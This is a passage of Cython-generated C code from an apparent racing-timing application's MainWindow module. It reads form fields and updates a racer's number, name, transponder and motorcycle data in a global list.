PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_4) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 151, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else { __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 151, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 151, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 151, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 151, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 151, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 151, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_v_rm = __pyx_t_1; __pyx_t_1 = 0; /* "MainWindow.py":152 * rt = 0 * rm = self.R_brandMenu.itemData( self.R_brandMenu.currentIndex() ) * rp = self.R_Npa.text() # <<<<<<<<<<<<<< * rc = self.R_City.text() * pa = self.R_Pays.itemData( self.R_Pays.currentIndex() ) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Npa); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_text); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 152, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_v_rp = __pyx_t_1; __pyx_t_1 = 0; /* "MainWindow.py":153 * rm = self.R_brandMenu.itemData( self.R_brandMenu.currentIndex() ) * rp = self.R_Npa.text() * rc = self.R_City.text() # <<<<<<<<<<<<<< * pa = self.R_Pays.itemData( self.R_Pays.currentIndex() ) * oldracer = Globals.racerList[ oldracerItem.data( Globals.UserRole )] */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_City); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 153, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_text); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 153, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 153, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 153, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_v_rc = __pyx_t_1; __pyx_t_1 = 0; /* "MainWindow.py":154 * rp = self.R_Npa.text() * rc = self.R_City.text() * pa = self.R_Pays.itemData( self.R_Pays.currentIndex() ) # <<<<<<<<<<<<<< * oldracer = Globals.racerList[ oldracerItem.data( Globals.UserRole )] * if oldracer is None: */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Pays); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_itemData); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Pays); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_currentIndex); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_2) { __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else { __pyx_t_5 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 154, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_v_pa = __pyx_t_1; __pyx_t_1 = 0; /* "MainWindow.py":155 * rc = self.R_City.text() * pa = self.R_Pays.itemData( self.R_Pays.currentIndex() ) * oldracer = Globals.racerList[ oldracerItem.data( Globals.UserRole )] # <<<<<<<<<<<<<< * if oldracer is None: * oldracer = [ ] */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_racerList); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_oldracerItem, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_UserRole); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_11 = PyTuple_New(1+1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_11, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_11, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_11, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyObject_GetItem(__pyx_t_4, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_v_oldracer = __pyx_t_2; __pyx_t_2 = 0; /* "MainWindow.py":156 * pa = self.R_Pays.itemData( self.R_Pays.currentIndex() ) * oldracer = Globals.racerList[ oldracerItem.data( Globals.UserRole )] * if oldracer is None: # <<<<<<<<<<<<<< * oldracer = [ ] * */ __pyx_t_7 = (__pyx_v_oldracer == Py_None); __pyx_t_6 = (__pyx_t_7 != 0); if (__pyx_t_6) { /* "MainWindow.py":157 * oldracer = Globals.racerList[ oldracerItem.data( Globals.UserRole )] * if oldracer is None: * oldracer = [ ] # <<<<<<<<<<<<<< * * oldracer['numero'] = rn */ __pyx_t_2 = PyList_New(0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF_SET(__pyx_v_oldracer, __pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":156 * pa = self.R_Pays.itemData( self.R_Pays.currentIndex() ) * oldracer = Globals.racerList[ oldracerItem.data( Globals.UserRole )] * if oldracer is None: # <<<<<<<<<<<<<< * oldracer = [ ] * */ } /* "MainWindow.py":159 * oldracer = [ ] * * oldracer['numero'] = rn # <<<<<<<<<<<<<< * oldracer['nom'] = rl * oldracer['prenom'] = rf */ if (unlikely(PyObject_SetItem(__pyx_v_oldracer, __pyx_n_u_numero, __pyx_v_rn) < 0)) __PYX_ERR(0, 159, __pyx_L1_error) /* "MainWindow.py":160 * * oldracer['numero'] = rn * oldracer['nom'] = rl # <<<<<<<<<<<<<< * oldracer['prenom'] = rf * if oldracer['transponder'] != rt: */ if (unlikely(PyObject_SetItem(__pyx_v_oldracer, __pyx_n_u_nom, __pyx_v_rl) < 0)) __PYX_ERR(0, 160, __pyx_L1_error) /* "MainWindow.py":161 * oldracer['numero'] = rn * oldracer['nom'] = rl * oldracer['prenom'] = rf # <<<<<<<<<<<<<< * if oldracer['transponder'] != rt: * if Globals.C_concurrents_TP_fmt%oldracer['transponder'] in tpRacerList: */ if (unlikely(PyObject_SetItem(__pyx_v_oldracer, __pyx_n_u_prenom, __pyx_v_rf) < 0)) __PYX_ERR(0, 161, __pyx_L1_error) /* "MainWindow.py":162 * oldracer['nom'] = rl * oldracer['prenom'] = rf * if oldracer['transponder'] != rt: # <<<<<<<<<<<<<< * if Globals.C_concurrents_TP_fmt%oldracer['transponder'] in tpRacerList: * tpRacerList.pop( Globals.C_concurrents_TP_fmt%oldracer['transponder'] ) */ __pyx_t_2 = PyObject_GetItem(__pyx_v_oldracer, __pyx_n_u_transponder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 162, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyObject_RichCompare(__pyx_t_2, __pyx_v_rt, Py_NE); __Pyx_XGOTREF(__pyx_t_1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 162, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely(__pyx_t_6 < 0)) __PYX_ERR(0, 162, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_6) { /* "MainWindow.py":163 * oldracer['prenom'] = rf * if oldracer['transponder'] != rt: * if Globals.C_concurrents_TP_fmt%oldracer['transponder'] in tpRacerList: # <<<<<<<<<<<<<< * tpRacerList.pop( Globals.C_concurrents_TP_fmt%oldracer['transponder'] ) * oldracer['transponder'] = rt */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 163, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_C_concurrents_TP_fmt); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 163, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = PyObject_GetItem(__pyx_v_oldracer, __pyx_n_u_transponder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 163, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = PyNumber_Remainder(__pyx_t_2, __pyx_t_1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 163, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_tpRacerList); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 163, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = (__Pyx_PySequence_ContainsTF(__pyx_t_4, __pyx_t_1, Py_EQ)); if (unlikely(__pyx_t_6 < 0)) __PYX_ERR(0, 163, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = (__pyx_t_6 != 0); if (__pyx_t_7) { /* "MainWindow.py":164 * if oldracer['transponder'] != rt: * if Globals.C_concurrents_TP_fmt%oldracer['transponder'] in tpRacerList: * tpRacerList.pop( Globals.C_concurrents_TP_fmt%oldracer['transponder'] ) # <<<<<<<<<<<<<< * oldracer['transponder'] = rt * tpRacerList[ Globals.C_concurrents_TP_fmt%rt ] = oldracerItem.data( Globals.UserRole ) */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_tpRacerList); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 164, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_pop); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 164, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 164, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_C_concurrents_TP_fmt); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 164, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = PyObject_GetItem(__pyx_v_oldracer, __pyx_n_u_transponder); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 164, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = PyNumber_Remainder(__pyx_t_11, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 164, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 164, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 164, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 164, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_11 = PyTuple_New(1+1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 164, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_11, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_11, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_11, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 164, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":163 * oldracer['prenom'] = rf * if oldracer['transponder'] != rt: * if Globals.C_concurrents_TP_fmt%oldracer['transponder'] in tpRacerList: # <<<<<<<<<<<<<< * tpRacerList.pop( Globals.C_concurrents_TP_fmt%oldracer['transponder'] ) * oldracer['transponder'] = rt */ } /* "MainWindow.py":165 * if Globals.C_concurrents_TP_fmt%oldracer['transponder'] in tpRacerList: * tpRacerList.pop( Globals.C_concurrents_TP_fmt%oldracer['transponder'] ) * oldracer['transponder'] = rt # <<<<<<<<<<<<<< * tpRacerList[ Globals.C_concurrents_TP_fmt%rt ] = oldracerItem.data( Globals.UserRole ) * */ if (unlikely(PyObject_SetItem(__pyx_v_oldracer, __pyx_n_u_transponder, __pyx_v_rt) < 0)) __PYX_ERR(0, 165, __pyx_L1_error) /* "MainWindow.py":166 * tpRacerList.pop( Globals.C_concurrents_TP_fmt%oldracer['transponder'] ) * oldracer['transponder'] = rt * tpRacerList[ Globals.C_concurrents_TP_fmt%rt ] = oldracerItem.data( Globals.UserRole ) # <<<<<<<<<<<<<< * * oldracer['moto'] = rm */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_oldracerItem, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_11 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_UserRole); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __pyx_t_11 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_11)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_11); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_11) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_11, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_11, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 166, 